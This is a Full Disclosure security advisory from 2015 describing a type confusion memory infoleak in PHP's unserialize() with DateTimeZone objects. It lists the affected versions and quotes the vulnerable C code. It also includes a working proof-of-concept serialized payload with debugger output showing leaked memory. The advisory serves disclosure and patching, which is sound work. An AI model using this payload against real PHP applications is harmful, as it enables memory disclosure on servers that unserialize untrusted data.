full-disclosure - [FD] Type Confusion Infoleak Vulnerability in unserialize() with DateTimeZone

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Date: Fri, 20 Feb 2015 14:21:53 +0800
From: Taoguang Chen <taoguangchen@...il.com>
To: fulldisclosure <fulldisclosure@...lists.org>
Subject: [FD] Type Confusion Infoleak Vulnerability in unserialize() with
	DateTimeZone

#Type Confusion Infoleak Vulnerability in unserialize() with DateTimeZone

Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date:
2015.1.29 - Release Date: 2015.2.20

> A Type Confusion Vulnerability was discovered in unserialize() with DateTimeZone object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks.

Affected Versions
------------
Affected is PHP 5.6 < 5.6.6
Affected is PHP 5.5 < 5.5.22
Affected is PHP 5.4 < 5.4.38

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------

```
static int php_date_timezone_initialize_from_hash(zval **return_value,
php_timezone_obj **tzobj, HashTable *myht TSRMLS_DC)
{
	zval            **z_timezone = NULL;
	zval            **z_timezone_type = NULL;

	if (zend_hash_find(myht, "timezone_type", 14, (void**)
&z_timezone_type) == SUCCESS) {
		if (zend_hash_find(myht, "timezone", 9, (void**) &z_timezone) == SUCCESS) {
			convert_to_long(*z_timezone_type);
			if (SUCCESS == timezone_initialize(*tzobj, Z_STRVAL_PP(z_timezone)
TSRMLS_CC)) {
				return SUCCESS;
			}
		}
	}
	return FAILURE;
}
...
static int timezone_initialize(php_timezone_obj *tzobj, /*const*/ char
*tz) /* {{{ */
{
	timelib_time *dummy_t = ecalloc(1, sizeof(timelib_time));
	int           dst, not_found;
	char         *orig_tz = tz;

	dummy_t->z = timelib_parse_zone(&tz, &dst, dummy_t, &not_found,
DATE_TIMEZONEDB, php_date_parse_tzfile_wrapper);
	if (not_found) {
		php_error_docref(NULL, E_WARNING, "Unknown or bad timezone (%s)", orig_tz);
```

The Z_STRVAL_PP macro lead to looking up an arbitrary valid memory
address, and outputing a string via an warning level error message
that start from this memory address.

Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14.

```
<?php

$data = unserialize('O:12:"DateTimeZone":2:{s:13:"timezone_type";i:1;s:8:"timezone";i:4298494896;}');

?>
```

Test the PoC on the command line, then show warning level error message:

```
$ lldb php
(lldb) target create "php"
Current executable set to 'php' (x86_64).
(lldb) run test/test.php
Process 889 launched: '/usr/bin/php' (x86_64)

Warning: DateTimeZone::__wakeup(): Unknown or bad timezone
(UH??AWAVAUATSH??8) in /test/test.php on line 3
Process 889 exited with status = 0 (0x00000000)
```

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